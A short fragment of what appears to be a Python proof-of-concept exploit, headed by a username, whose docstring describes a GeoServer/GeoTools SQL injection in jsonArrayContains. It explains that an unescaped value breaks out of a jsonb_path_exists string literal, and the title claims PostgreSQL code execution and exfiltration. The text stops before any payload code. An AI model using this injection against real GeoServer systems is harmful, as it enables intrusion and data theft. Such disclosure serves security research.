portbuster1337

#!/usr/bin/env python3
"""
GeoServer jsonArrayContains SQLi -> PostgreSQL RCE / SQL / exfiltration PoC

GeoTools FilterToSqlHelper.constructEquality writes the `expected` argument of
jsonArrayContains RAW into the SQL string (only the JSON pointer is escaped):

    jsonb_path_exists("data"::jsonb, '$ ? (@.a == "<VALUE>")')

A single quote in VALUE breaks out of the string literal, closes the call